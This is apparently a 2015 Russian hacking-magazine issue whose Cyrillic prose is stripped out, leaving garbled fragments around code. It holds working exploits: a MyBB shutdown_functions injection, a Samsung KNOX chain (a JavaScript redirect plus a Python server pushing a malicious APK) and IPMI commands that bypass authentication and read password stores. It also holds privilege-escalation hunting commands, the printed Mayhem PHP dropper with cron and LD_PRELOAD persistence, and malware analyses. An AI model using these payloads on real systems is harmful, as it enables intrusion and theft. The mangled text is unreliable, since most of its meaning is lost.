JS
.
,
(, XSS).
.
, (
,
, ):
HTML, JavaScript.
, , ,
HTML-, JS.
?
,
. , HTML- JS, HTML
. ,
, >,
<, <, > ( , , ). , ,
.
.
, ( , , , ).
?
Telnet. ,
. , , PIN-.
, , : PAN ( ), expiration date CVV (
), .
,
. ,
, . ? , .
01 /192/ 2015
JavaScript : , , , , . ,
,
, . XSS. : goo.gl/vyEVAr.
Retire.js (goo.gl/qz6FZn).
. .
: , , Burp ZAP. rocket science, .
. , . , .
> <, X X.
, x .
< X. .
, .
(< <),
(script script) (onload onload).
JavaScript HTML,
HTML-. :
<script>\u0061lert("\141\t\x62");</script>
, , ,
. , ,
.
01 /192/ 2015
47
Easy Hack
, . HTML5
, , -.
- , TCP.
HTTP, -,
TCP-, , TCP-.
-,
( ).
. - ,
-, HTTPS . ws://
wss:// . - ( ) , .
, - GET - .
(
Host):
GET / HTTP/1.1
Host: victim.ru
Origin: http://evil.org
Sec-WebSocket-Key G54JzsUvsF7FWpzopP2HRw==
Sec-WebSocket-Version: 13
Connection: Upgrade
Upgrade: websocket
-
-. ,
( , ). Origin, , .
:
- IronWASP
( , , 404, web/char ).
, , Cross-Site WebSocket Hijacking. .
, (origin) -
- ( ).
: -, -
- . -,
(
HTTP-), GET-, . , CSRF, -,
- .
. ,
. , Access-Control-Allow-Origin, :
, , -,
- . , , . , -.
, Origin ,
, . , ,
, - , , Origin .
: CSWSH CSRF-, .
, ,
.
, : CSWSH ?
, . XSS, JS
. , -
CSRF. , -
, , , ,
.
. , Burp (1.6)
,
- . ZAP
IronWASP (www.ironwasp.org).
- goo.gl/vMiOsu.
!
48
01 /192/ 2015
,
dukebarman.pro,
b.ryutin@tzor.ru,
@dukebarman
-
, , Android Samsung , , .
MYBB 1.8.2
CVSSv2: N/A
: 8 2014
: Taoguang Chen, Avinash Kumar Thapa
CVE: N/A
, PHP- MyBB , , .
, register_globals , MyBB
unset_globals(), PHP, $_POST, $_GET, $_FILES $_
COOKIE:
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
foreach(array_keys($array) as $key)
{
// - zend_hash_del_key_or_index
PHP <4.4.3 <5.1.4
01 /192/ 2015
49
unset($GLOBALS[$key]);
unset($GLOBALS[$key]);
}
}
.
foo.php?_COOKIE=1,
$_GET['_COOKIE'].
, $_GET['_
COOKIE']=1, $GLOBALS['_COOKIE']:
$this->unset_globals($_GET);
...
}
...
function unset_globals($array)
{
...
foreach(array_keys($array) as $key)
{
unset($GLOBALS[$key]);
, $_COOKIE . , , PHP, $_COOKIE ,
:
$this->unset_globals($_COOKIE);
}
...
}
...
function unset_globals($array)
{
if(!is_array($array))
{
return;
}
$_GET $_FILES ,
unset_globals(), ,
PHP, .
$_POST['GLOBALS'], $_
FLIES['GLOBALS'] $_COOKIE['GLOBALS'].
$GLOBALS['GLOBALS'].
, $GLOBALS['key']
.
- ,
. , $_GET, $_FILES $_COOKIE .
:
request_order = "GP"
php.ini.
$_REQUEST $_GET
$_POST $_COOKIE.
$_COOKIE['GLOBALS'] unset_globals()
PHP 5.3.
:
class MyBB {
...
function __destruct()
{
if(function_exists=("run_shutdown"))
{
run_shutdown();
}
}
}
run_shutdown():
function run_shutdown()
{
global $cong, $db, $cache, $plugins,
$error_handler, $shutdown_functions,
$shutdown_queries, $done_shutdown, $mybb;
...
//
shutdown,
if(is_array($shutdown_functions))
{
foreach($shutdown_functions as function)
{
call_userfunc_array
($function['function'],
$function['arguments']);
}
}
$done_shutdown = true;
}
$shutdown_functions
add_shutdown() init.php:
//
shutdown- ,
add_shutdown('send_mail_queue');
add_shutdown() :
WARNING
. ,
,
.
50
EXPLOIT
,
:
request_order = "GP"
register_globals = On
. phpinfo():
01 /192/ 2015
require_once "./inc/init.php";
$shutdown_queries ,
SQL-.
request_order = "GP" register_globals =
On:
disable_functions = ini_get
unset_globals , register_globals:
/upload/calendar.php,
.
alert-.
if(@ini_get("register_globals") == 1)
{
$this->unset_globals($_POST);
$this->unset_globals($_GET);
$this->unset_globals($_FILES);
$this->unset_globals($_COOKIE);
}
TARGETS
MyBB <= 1.8.2;
MyBB 1.6 <= 1.6.15.
SOLUTION
.
disable_functions = ini_get
register_globals = On:
index.php?shutdown_functions[0][function]=
phpinfo&shutdown_functions[0][arguments][]=-1
, run_shutdown() SQL:
function run_shutdown()
{
global $cong, $db, $cache, $plugins,
$error_handler, $shutdown_functions,
$shutdown_queries, $done_shutdown, $mybb;
...
//
shutdown-
if(is_array($shutdown_queries))
{
//
foreach($shutdown_queries as $query)
{
$db->query($query);
}
}
global.php:
$shutdown_queries = array();
global.php,
css.php:
01 /192/ 2015
51
<manifest android:versionCode="2"
android:versionName="1.1.14" package=
"com.sec.enterprise.knox.cloudmdm.smdms"
xmlns:android="http://schemas.android.com/apk/res/
android">
<uses-sdk android:minSdkVersion="17"
android:targetSdkVersion="19" />
[...]
<uses-permission android:name="android.
permission.INSTALL_PACKAGES" />
[...]
<application android:allowBackup="true"
android:name=".core.Core">
<activity android:congChanges="keyboard|
keyboardHidden|orientation" android:
excludeFromRecents="true"
android:label="@string/titlebar" android:
name=".ui.LaunchActivity"
android:noHistory="true" android:theme=
"@android:style/Theme.DeviceDefault">
<intent-lter>
<data android:scheme="smdm" />
<action android:name="android.intent
.action.VIEW" />
<category android:name="android.intent.
category.DEFAULT" />
<category android:name="android.intent
.category.BROWSABLE" />
</intent-lter>
</activity>
[...]
</application>
</manifest>
intent-lter, com.sec.
enterprise.knox.cloudmdm.smdms.ui.LaunchActivity.
smdm:\\... onCreate LaunchActivity.
proguard, . -
.
, ,
PreETag.xml
/data/data/com.
sec.enterprise.knox.cloudmdm.smdms/shared_prefs/ getPreETAG(): ,
nish(). .
Intent,
Activity, , . :
smdm://hostname?var1=value1&var2=value2
:
seg_url;
update_url;
email;
mdm_token;
program;
quickstart_url.
, ,
update_url.
onCreate
onCreate
Core.
startSelfUpdateCheck()
Core.
startSelfUpdateCheck()
52
01 /192/ 2015
UMCSelfUpdateManager.
startSelfUpdateCheck()
, , onSucess().
, : ETag, ContentLength x-amz-meta-apk-version.
x-amz-meta-apk-version
UniversalMDMApplication APK-. , . ,
.
.
YES,
UMCSelfUpdateManager.onSuccess(), GET-
APK-. beginUpdateProcess() updateThread.
, run
updateThread installApk, _installApplication().
: , APK- ,
. , -
Samsung
updateThread
_installApplication()
UMCSelfUpdateManager.
doUpdateCheck()
onSucess()
01 /192/ 2015
53
.
:
Settings$Global.putInt(InstallManager.mContext.
getContentResolver(), GlobalSettingsAdapter.
PACKAGE_VERIFIER_ENABLE_0);
, ,
,
,
, . .
:
- ,
ETag, :
/data/data/com.sec.enterprise.knox.cloudmdm.
smdms/shared_prefs/PreETag.xml
onCreate() , , .
Samsung
Samsung KNOX
EXPLOIT
, . HTML-
JavaScript- ( ):
Metasploit- :
<script>
function trigger(){
document.location="smdm://meow?
update_url=http://yourserver/";
}
setTimeout(trigger, 5000);
</script>
, JavaScript-, ,
(
). :
x-amz-meta-apk-version ,
, . , 1337;
ETag MD5- APK-;
Content-Length APK- ( ).
Python- :
import hashlib
from BaseHTTPServer import
BaseHTTPRequestHandler
APK_FILE = "meow.apk"
APK_DATA = open(APK_FILE,"rb").read()
APK_SIZE = str(len(APK_DATA))
APK_HASH = hashlib.md5(APK_DATA).hexdigest()
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length",
APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header
("x-amz-meta-apk-version", "1337")
self.end_headers()
self.wle.write(APK_DATA)
return
def do_HEAD(self):
self.send_response(200)
self.send_header("Content-Length",
APK_SIZE)
self.send_header("ETag", APK_HASH)
self.send_header
("x-amz-meta-apk-version", "1337")
self.end_headers()
return
if __name__ == "__main__":
from BaseHTTPServer import HTTPServer
server = HTTPServer(('0.0.0.0',8080), MyHandler)
server.serve_forever()
TARGETS
SOLUTION
,
, . , : ,
(
UniversalMDMClient), ,
.
.
. ( bit.ly/1AK3OGR):
smdm://patch/
Samsung UMC (Universal MDM Client) :
http://umc-cdn.secb2b.com:80
UniversalMDMClient.apk. (Samsung
Galaxy S5, Note 4 Alpha).
...
;).
54
01 /192/ 2015
photonewman@shutterstock.com
,
Positive Technologies
vshilnenkov@ptsecurity.com
IPMI/BMC
IPMI,
IPMI.
IPMI/BMC
IPMI , , . .
BMC IPMI. (system on a chip)
.
, ,
.
Integrated Lights Out (iLO) Hewlett-Packard (HP). HP iLO
BMC/IPMI. , . , , ARM Linux .
:
Reset / /
, .
IPMI/BMC .
, ,
.
:
- ( );
IPMI over LAN (UDP 623);
( ,
). : WMI , OpenIPMI, IPMItool Linux.
- . , .
, .
IPMI over LAN, , UDP 623.
IPMI ,
/dev/ipmi0, .
IPMI IPMItool
GNU/Linux, .
01 /192/ 2015
55
. IPMI 2.0.
.
,
.
IPMI/BMC
IPMI/BMC 2013 ,
. IPMI/BMC
shodanhq.com ( . . .). ,
. .
IPMI/BMC.
IPMI/BMC ( , ),
VirtualConsole (aka KVM) , , roota LiveCD
, Windows. , root (
). , IPMI . IPMI/BMC
, .
IPMI/BMC.
IPMI/BMC . , IPMI/BMC .
. , , .
IPMI/BMC
PC
metasploit - auxiliary/scanner/ipmi/ipmi_cipher_zero
ipmitool I lanplus C 0 H targetIP U
Administrator P anypasswordhere user list
. IPMI 2.0
PC
metasploit - auxiliary/scanner/ipmi/
ipmi_dumphashes
http://sh2.com/ipmi/tools/rak-the-ripper.pl
,
.
NULL authentication
.
IPMI 1.5.
, . ,
.
HP;
Dell;
Supermicro.
PC
ipmitool -A NONE -H targetIP bmc guid
HP;
Dell;
Supermicro.
IPMI BMC
(Dan Farmer) (bit.ly/1fx1wAW). ,
,
: bit.ly/1zthsgv.
.
, IPMI/
BMC :
(,
-);
IPMI.
HP;
Dell;
Supermicro.
HP;
Dell;
Supermicro ( IPMI Chips with ATEN-Software).
WARNING
. ,
,
.
UDP 623.
PC
metasploit - auxiliary/scanner/ipmi/ipmi_dumphashes
ipmitool -I lanplus -H targetIP -U '' -P '' user list
56
01 /192/ 2015
Supermicro.
IPMI
1900.
PC
metasploit exploit/multi/upnp/libupnp_ssdp_overflow
metasploit auxiliary/scanner/upnp/ssdp_msearch
IPMI 2.0 , -
. Supermicro /nv/PSBlock /nv/PSStore,
firmware.
, BMC Nuvoton WPCM450
TCP- 49152 ,
/nv, PSBlock,
server.pem .
Supermicro.
Shell-?
PC
cat /nv/PSBlock
echo GET /PSBlock | nc targetIP 49152
NULL authentication / IPMI
Authentication Bypass via Cipher 0, IPMI 2.0 RAKP
Authentication Remote Password Hash Retrieval, IPMI
Anonymous Authentication IPMI. , . ,
UPnP- Supermicro (Supermicro IPMI
UPnP Vulnerability), CVE-2012-5958 (BoF libupnp).
Supermicro
Supermicro X9, ,
.
HANDS-ON LAB
IPMI. ipmi_version,
oclHashcat
Metasploit,
. / Metasploit , ipmiping
rmcpping.
IPMI,
Authentication
Bypass via Cipher 0 ( ). ,
.
: , .
.
Metasploita ipmi_dumphashes
. :
. ipmi_dumphashes , , . ,
, .
oclHashcat, John the
Ripper c jumbo- (community edition).
( . . .), .
oclHashcat, 1.30,
.
HP iLO4, . ,
Administrator uppercase + numeric.
.
cipher 0
. IPMItool. GNU/Linux . Windows
Cygwin. :
1. , ,
ID.
01 /192/ 2015
57
, ? .
, , ipmicd C
Windows/Linux.
IPMI/BMC, ( ipmi_dumphashes
Metasploit). ,
Metasploit ,
IPMI/BMC - , Metasploit .
GitHub (bit.ly/12GLwLA). :
1. -p ,
.
2. -d .
3. -v N
0..5. N = 1 .
, . ,
-d -p
, IPMI-. -d
, . - ,
HP KVM
,
, -, SSH SMASH , - KVM.
KVM,
,
BIOS, . KVM . , HP
iLO4 TCP 17988 17990. Dell
iDRAC7 TCP 5900. Cisco ICM TCP 2068.
, HP BladeSystem Onboard
Administrator. HP BladeSystem ,
-. , -
IPMI.
IPMI SSO. ,
, - :).
, HP
iLO4, KVM SMASH (: SSH) TEXTCONS.
, 80, 443, 17990.
HP BladeSystem
Onboard Administrator
-v 5
.
Linux GCC
gcc ipmicd.c -static -o ipmicd.
Windows MinGW gcc
ipmicd.c -mno-ms-bitelds -lws2_32 -DMINGW.
, PoC LiveCD (bit.
ly/1z1woEg), Windows.
LiveCD.
: IPMI/BMC .
- SMASH,
,
IPMI/BMC .
, IPMI/BMC.
BMC .
. ,
-
, .
Stay tuned!
58
01 /192/ 2015
?
BOF
white hat, security, ZeroNights
.
Principal Security
Engineer Nokia,
HERE.
alexey.sintsov@here.com
, ,
, . - / , , , ,
, , . ,
.
,
,
/,
. : , ( ), ,
.
, ,
,
CERT .
, ,
. ,
, ,
1988
,
.
, , ,
1988 ,
1972 ! (
, ) Computer Security Technology
Planning Study. -
,
(csrc.nist.gov/
publications/history/ande72.pdf).
, .
( HeartBleed) . 1972
, 2014-
. , .
,
80- , 90- .
, 1961- 1988-
, ,
( )
, .
80-
, , .
,
( ) ,
,
: .
,
, .
,
, , . :
,
.
- 1990-, 2000-.
,
: . , 1972 ,
1988 . , 26
, ,
,
(19031957). , BoF
01 /192/ 2015
59
( , ,
, ).
, ,
.
, 1972- 1988- , .
, BBS
, .
, - ,
, 1988 ,
. . .
,
,
, 1990 (ftp://
ftp.cs.wisc.edu/paradyn/technical_papers/fuzz.
pdf). ,
, , .
,
(, ), .
,
(. 1965). , BoF
1995
(seclists.org/bugtraq/1995/Feb/109). NCSA HTTPD ,
,
HTTP-, 1993
bugtraq. . , , 1995
. ,
, , , , .
. ,
, , , , , .
1996 , ,
www.phrack.org/issues/49/14.
html#article. ,
. , ,
,
. ,
,
, .
,
. ,
,
( ),
,
- .
1998 ( )
USENIX Security Symposium
StackGuard stack canaries. :
. ,
, : c
,
, .
- , ,
.
2001 , , ,
. , ,
2000-:
, SEH-,
NX . , ,
,
(
, ). Open Source,
MS, , , DEP, PIE, FORTIFY.
,
( ) .
,
, ,
, ,
.
2000-
(Windows/*nix
). ,
2000- . ,
2000-
2000-,
, ( , ).
BoF ( ,
), (
), ( , , EMET) (, , 2005
NX-).
-
, , ,
, .
, -
( , ).
, ,
1972- 2014-
.
1996 2012 ( ),
, , (
).
,
, , ,
.
,
BoF, .
Google Microsoft, ,
, . .
8090-
, , ,
, (
),
. ,
,
.
, - . ,
,
. , ,
, , , .
.
C , , ,
,
.
,
,
, RCE
. , ,
: ,
. , BoF ,
.
QNX ARM-
( ) NX, ASLR. , ,
, . , , ,
SDLC, , , !
60
01 /192/ 2015
JoAnn Gould@shutterstock.com
ant
ant@real.xakep.ru
01 /192/ 2015
61
62
01 /192/ 2015
,
Windows. , . , , . ,
, ,
. ? , ...
PREFASE
( ),
.
, . ,
,
. . ,
- , ,
, .
, .
, Windows, - ,
.
, .
Linux .
.
Windows, c ,
.
Linux- .
?
, . ,
. ,
,
(, , ,
).
:
1. .
2.
.
3. .
4. ( ) .
5. root.
.
, ,
, .
uname -a .
,
, *-release, etc ( -: lsb-release Ubuntu,
redhat-release Red Hat / CentOS ):
WARNING
. ,
,
.
cat /etc/*-release
,
.
, . , , exploit-db.
com, : 1337day (bit.ly/12e2Erd),
ExploitSearch
(bit.
SecuriTeam
(bit.ly/1wOdrFI),
ly/1yYgrxM), Metasploit (bit.ly/1u42z0n), securityreason
(bit.ly/1s8XRhr), seclists (bit.ly/1u8f1LI). ,
, .
, :
, . ,
:
- .
. .
. , ( tmp
). -
, grsecurity (bit.ly/1wcJIa3).
63
01 /192/ 2015
www.cvedetails.com
packetstormsecurity.org/files/cve/[CVE]
cve.mitre.org/cgi-bin/cvename.cgi?name=[CVE]
www.vulnview.com/cve-details.php?cvename=[CVE]
, , ,
.
- .
,
, cURL/
wget, Netcat, FTP, SCP/SFTP, SMB
DNS TXT . ,
, :
nd
nd
nd
nd
nd
/
/
/
/
/
-name
-name
-name
-name
-name
wget
nc*
netcat*
tftp*
ftp
, Netcat.
:
:
1. LinEnum (bit.ly/15VINz5) bash-,
, ,
cheat sheete (bit.ly/1G0sHPv).
65 , SUID/GUID-. ,
, -. : ./LinEnum.sh -k keyword -r report -e /tmp/ -t.
, ,
.
2. LinuxPrivChecker (bit.ly/1G0utA2) Python-,
. -,
: , ... , , , , .
:).
3. Unix-privesc-check (bit.ly/1q9eFch)
Linux, Solaris, HPUX, FreeBSD. , .
4. g0tmi1ks Blog (bit.ly/12OU82M) ,
, .
, , .
, , .
? , , .
, - . , (, .secret_folder),
. . , : /tmp/.nothingthere/
exploit.c. ,
, tmp noexec
( mount).
,
/. , Python/Perl/PHP. ][ ,
, .
gcc -v
bash gcc: command not found, ,
. , - ,
.
,
64
01 /192/ 2015
.
(,
,
,
).
,
,
.
,
:
nd
nd
nd
nd
/
/
/
/
-name
-name
-name
-name
perl*
python*
gcc*
cc
LinEnum
. , , .
, ,
,
, ,
, . , Microsoft
Windows, ,
.
,
:
nd / -perm 2 !
-type l -ls
,
- :
, /, , init
cron. ,
,
, .
, / /
. , ,
chmod 777.
, .
Setuid + setgid
, setuid setgid
,
( root).
,
, -
. ,
setuid ls
,
.
vim
,
.
,
setuid/setgid, , buffer
overflow command
injection,
.
.
Unix-privesc-check
, sudo,
, , .
. ,
, (, ).
. command injection.
, .
SUDO
sudo (substitute
user and do),
,
.
root ( ),
, .
/etc/sudoers. .
, . , ,
.
( Offensive security, : bit.ly/1A62EUU).
01 /192/ 2015
65
PATH
,
.
PATH ( printenv ). ?
, : , PATH . (.:/bin:/usr/sbin
....)? ,
,
: $ program $ ./program.
. PATH / . :
PATH=.:${PATH}
export PATH
,
: () . ,
sudo- , . ,
. PATH.
,
LinuxPrivChecker
,
Exploit
Database
, ls ,
. , ,
, , .
, :
1. . PATH.
2. - , .bashrc .prole:
AFTERWORD
, Linux .
: , ,
, .
, , , win-, nix. !
: ,
, ,
. ,
,
66
01 /192/ 2015
WARNING
! ! , !
X-TOOLS
D1g1
Digital Security
@evdokimovds
: Nicolas
Economou
: Windows
URL: https://github.
com/CoreSecurity/
Agafi
: Katja Hahn
: Windows/
Linux
URL: https://
katjahahn.github.io/
PortEx/
: Vu Quoc Huy
: Linux
URL: https://github.
com/c633/malwaRE
ROP
PORTEX
ROP-- . ,
? ,
, .
, ? , ,
ROP-.
ROP- DEP.
Agafi (Advanced Gadget Finder) /
++ ROP-
( ). ,
, EEREAP. .
QEMU
diStorm3.
:
agafi ROP-
( );
agafi-rop ROP-
DEP ( kernel32.VirtualProtect);
gisnap fsnap
.
MalwaRE ,
PHP Laravel , ,
. MalwaRE
Adlice (www.adlice.com/softwares/
malware-repository-framework/),
.
:
(
PHP/MySQL-);
VirusTotal
( );
( AV,
, , );
URL
;
;
VirusTotal;
.
,
. ,
x86-.
Agafi/ROP (goo.gl/0W347j) EkoParty 2014.
portex.pom
portex.jar :
$ mvn install:install-le-Dle=portex.
jar -DpomFile=portex.pom
Wiki (https://github.com/katjahahn/
PortEx/wiki).
(
).
.
67
01 /192/ 2015
ANTI-ANTI-DEBUG
: Carbon Monoxide
: Windows
URL: https://bitbucket.org/NtQuery/scyllahide
ScyllaHide ,
, .
x64/x86-.
:
usermode .
ring 0 TitanHide (https://
bitbucket.org/mrexodia/titanhide).
4
ScyllaHide :
OllyDbg v1/v2;
x64_dbg;
Hex-Rays IDA v6+;
TitanEngine v2.
:
Process Environment Block (PEB);
NtSetInformationThread;
NtSetInformationProcess;
: npdunn
: Windows
URL: http://
sourceforge.
net/projects/
visualcodegrepp/
NtQuerySystemInformation;
NtQueryInformationProcess;
NtQueryObject;
NtYieldExecution;
NtCreateThreadEx;
BlockInput;
NtUserFindWindowEx;
NtUserBuildHwndList;
NtUserQueryWindow;
NtSetDebugFilterState;
NtClose;
Remove Debug Privileges;
PE
x64
x64_dbg IDA. ,
ScyllaHide .
standalone .
(goo.gl/
hzY0hx).
: Matias P.
Brutti
: Linux
URL: https://github.
com/FreedomCoder/
Cartero
: clymb3r
: Windows
URL: https://github.
com/clymb3r/
KdExploitMe
KDEXPLOITME
. KdExploitMe ,
Windows .
, :
AttackWriteWhatWhere;
PoolOverflow;
AttackDecAddress;
KernelAdressLeak.
.
. , ,
,
.
, ,
.
:
, VCG.
, , . ,
, VCG, ,
grep .
.
. , .
ring 0 0day. ,
A Guide to Kernel Exploitation: Attacking the Core
:).
. Windows 7
Windows 8.1
Malware
01 /192/ 2015
,
.
.
? ?
malware? !
Lightspring@shutterstock.com
68
01 /192/ 2015
2014
69
JAVA,
Javafog , Java?
JRE, :
-
upload_* , ,
. . , Java, XOR
0x99 %server_url%/uploads/%file_name%;
. , cmd_UpdateDomain , Java, PC .
%TEMP%update.dat;
,
cmd_* , .
cmd.exe /c %%, ,
%server_url%/newsdetail.
Icefog, aspx?title=%host_id%.
.
Javafog,
Icefog, . IP-
, ,
,
. , .
,
, Icefog
, . -
Javafog , Icefog
, Java.
Icefog , ,
.
.
, 2014 .
Java-, .
DDoS-,
Icefog
Windows, Linux Mac OS. , Java. ( &):
JRE CVE-2013-2465.
Icefog 2011
tregubenko_v_v@tut.by
email, (Zoltan Balazs), CTO
;
MRG Effitas. Icefog 1 aspx-;
HEUR:Backdoor.Java.
Icefog 2 proxy;
Agent.a.
Icefog 3 & view.asp
update.asp;
,
Icefog 4 & upfile.asp;
Zelix Klassmaster. -, Zelix
Icefog-NG TCP- 5600 ( . Zelix
HTTP-).
, , ,
.
, OS X
%userprofile% Macfog.
. , , 2014 , ,
:
C&C Icefog lingdona.com, Windows HKEY_CURRENT_USER\Software\Microsoft\Windows\
, User-Agent
CurrentVersion\Run;
Java/1.7.0_40. ,
Linux /etc/init.d;
Java-. , Mac OS Mac OS launchd,
Icefog User-Agent
Internet Explorer.
.
, Javafog. , DDoS-
policyapplet.jar, , , %userprofile%
, , Javafog
jsuid.dat.
update.jar %TEMP%
, IRC, HKEY_CURRENT_USER\Software\Microsoft\Windows\
. CurrentVersion\Run.
IRC PircBot, .
,
. 1. User-Agent
.
70
Malware
01 /192/ 2015
DDoS-.
:
DDoS ( HTTP UDP flood);
;
;
DDoS .
HTTP flood User-Agent, ,
, . , , DDoS- (. 1).
, Java - . ,
-, JRE, : , , Java .
- Team Cymru ,
. , Team Cymru, ,
- DNS- . ,
DNS, .
, ,
.
, ,
. ,
, . , 2012 , Carna.
, OpenWRT.
Tripwire,
, , 80% -25 Amazon
, ,
. Tripwire, 30% 46%
,
.
, , . ? .
,
.
,
.
LINUX?
,
(. Government
, SOHO,
Communications Headquarters, GCHQ) , Linux
.
,
, .
. ,
, . 1919
SANS ,
Linksys.
(. Government Code and Cypher
*nix- The Moon,
School, GC&CS).
. ,
.
Lunar
1946 .
. , Industries The Moon 2009
GCHQ NSA,
*nix-
.
1952 . .
. ,
Windows 80 Tempora
: E4200, E3200, E3000,
, *nix E2500, E2100L, E2000, E1550,
-,
,
E1500, E1200, E1000 E900.
.
, E300,
.
WAG320N, WAP300N, WES610N,
2014 WAP610N, WRT610N, WRT400N,
WRT600N, WRT320N, WRT160N,
,
WRT150N.
*nix-.
ESET URL- "/HNAP1/", XML- , Windigo.
.
2011 ,
Home Network Administration Protocol, Cisco , cPanel ( . ) kernel.org,
, The
Linux.
Moon CGI- Windigo ESET CERT-Bund, . CGI- SNIC
, admin
(CERN).
, .
- , ELF
Linux,
(Executable and Linkable), MIPS.
,
The Moon . . 670
.
( /21 /24), .
Windigo
SANS, , :
, Linux/Ebury root backdoor shell, . ,
, . The Moon
SSH, Linux, FreeBSD-;
, ,
Linux/Cdorked - Linux,
SANS.
, , Windows,
. , 300 ? Apache httpd, nginx lighttpd;
.
GCHQ
01 /192/ 2015
71
2014
fclose($f);
}
print "SO dumped ".le_put_contents("./libworker.so",
$so)."\n";
if (getenv("MAYHEM_DEBUG"))
exit(0);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
/* second stage dropper */
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR ="#!/bin/sh\ncd '".$SCP."'\nif [ -f
'./libworker.so' ];then killall -9 $HBN;
export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/
bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\
n\nrm 1.sh\nexit 0\n";
@le_put_contents("1.sh", $SCR);
<?php
header("Content-type: text/plain");
print "2842123700\n";
if (! function_exists('le_put_con
tents')) {
function le_put_contents
($lename, $data) {
$f = @fopen($lename, 'w');
if (! $f)
return false;
$bytes = fwrite($f, $data);
fclose($f);
return $bytes;
}
}
@system("killall -9 ".basename("/usr/bin/host"));
$so32 = <hex_body_of_library_for_x32>;
$so64 = <hex_body_of_library_for_x64>;
$arch = 64;
if (intval("9223372036854775807") == 2147483647)
$arch = 32;
print "Arch is ".$arch."\n";
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
$n = unpack("C*", fread($f, 8));
$so[7] = sprintf("%c", $n[8]);
print "System is ".($n[8] == 9 ? "FreeBSD" :
"Linux")."\n";
@chmod("1.sh", 0777);
/* try at now, le will be removed, crontab cleaned on suc
cess */
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
for ($i = 0; $i < 5; $i++) {
if (! @le_exists("1.sh")) {
print "AT success\n";
exit(0);
}
sleep(1);
}
}
@system("(crontab -l|grep -v crontab;echo;echo '* * * * *
".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
for ($i = 0; $i < 62; $i++) {
if (! @le_exists("1.sh")) {
print "CRONTAB success\n";
exit(0);
}
sleep(1);
}
72
Malware
01 /192/ 2015
IP- libworker.so ;
LD_PRELOAD
,
;
DNS amplification;
. UDP flood;
SYN flood;
;
Mayhem.
.
(. National Security Agency, NSA)
, ,
. -
.
, (. No Such Agency). : URL .
, NSA
,
256
. NSA
. IP-,
,
, . IP
, ,
,
,
, Mayhem
,
. , ,
.
.
, , ,
Telnet
, -, - , :
,
,
. .
Remote File Inclusion;
(root,
NSA SELinux,
admin), .
Linux.
Linux .
WordPress,
, ;
(root, admin, 12345). Joomla
WordPress;
IP-, ,
CMS- ISP-;
bash-, , ,
.
.
, ;
,
FTP-;
Linux-
IP-;
Windows, . , ...
- MySQL (phpMyAdmin);
POWERSHELL
Heartbleed ShellShock.
, . , , . .
Trend Micro Symantec . ,
,
1400 .
Microsoft Word Excel.
Akamai Technologies Crigent ( Power Worm).
Linux- IptabLes/IptabLex,
Windows PowerShell.
DDoS-. , , Microsoft Excel
Apache Struts, Apache Tomcat
:
Elasticsearch.
}
print "Running straight\n";
@system("./1.sh");?>
NSA
01 /192/ 2015
73
2014
. 3. Poweliks
. 4. Poweliks
, , .
, .
, PowerShell- Base64, powershell.exe
. , , .
powershell.exe
- Base64 . ( ) ( ).
CompileAssemblyFromSource(), CSharp
. rundll32.exe , rundll32. ,
.
Crigent ,
Tor.
Dropbox OneDrive ,
, , Tor-, Polipo. : DNS DNS- Google nslookup -querytype=TXT
{malicious domain} 8.8.8.8,
Tor Polipo.
Tor , Crigent PowerShell . ,
. 5. Regin
, Word Excel
, , ,
. docx xlsx, Crigent
, doc xls , . ,
. , Power Worm.
Power Worm , PowerShell.
Poweliks. PowerShell, .
Poweliks ,
, , , .
Poweliks RTF CVE-2012-0158 ( Microsoft MS12-027).
PowerShell,
Microsoft KB968930.
(. 3).
, ASCII-;
, , (. 4).
JScript, \\HKCU\software\microsoft\windows\currentversion\run\(default).
JScript Base64- PowerShell- (,
Power Worm), . , , DLL, .
DLL, MPRESS 2.19, NtQueueApcThread dllhost.exe
. : -
74
Malware
01 /192/ 2015
.
:
x86 NTFS Alternate Data Streams;
x86 FAT ;
x64 .
20 RC5 16-
NRV2e.
x86
VMEM.sys,
(EVFS). Regin,
,
- evt
imd,
, C:\Windows\System32.
- FAT, ,
,
16- 6
RC5
NRV2e. VMEM.sys . 6. Regin
EVFS-
disp.dll ( ),
-,
, Stuxnet.
,
- , , ? 2014 Symantec
.
Kaspersky white paper Regin.
x64 disp.dll,
- , .
EVFS, ? , . ( VMEM.sys), disp.dll , Symantec, Kaspersky (
EVFS, .
2014-. . .) (
:
). , HTTP HTTPS, cookie;
Regin, (. 5).
RAW sockets, TCP UDP;
, .
ICMP, ping shit,
64-
31 337;
Microsoft Broadcom. SMB.
CA ,
.
.
- Regin
Regin, . Regin
( ). x86- x64-.
.
x86 ( ),
, Regin , .
.
NTFS,
( :
) Alternate Data
Streams :
. 7. Stuxnet
%Windir%;
%Windir%\fonts;
%Windir%\cursors.
FAT,
.
,
. x64
,
. ,
,
, XOR.
() ,
01 /192/ 2015
75
2014
;
;
;
;
;
HTTP/SMTP/SMB.
, .
( ), . , .
. , Symantec
Regin 12 2013 . Microsoft 9 2011 . F-Secure
:
Regin 2009 . ,
(RAW) NTFS / , , 2003 .
;
IP- (TCPDump);
: , Stuxnet, Duqu Regin
;
. ,
LM database;
. MS Exchange;
.
IIS;
: AES , RC4 , ? ,
.
,
, Stuxnet.
GSM.
zero
victims (
.
patient zero, ,
).
70 , Stuxnet ?
, 2008
JAVA - ,
, ,
Ericsson OSS MML.
.
.
Symantec, 28%
.
ERP -
, Java Runtime Environment (
, 48%
),
.
: ,
.
IP-.
( ) , ,
, ,
: , .
( ) zero
, victims. ,
(.
,
. 6).
60- . ,
:
.
Symantec Domain A Foolad Technic
*nix-
- The Intercept
Engineering Co.;
.
Domain B Behpajooh Co. Elec
,
,
& Comp. Engineering;
?
Domain C Neda Industrial
, DDoS-
, Group;
, ,
Domain D Control-Gostar
.
(Secret Malware in European Union
Jahed Company;
,
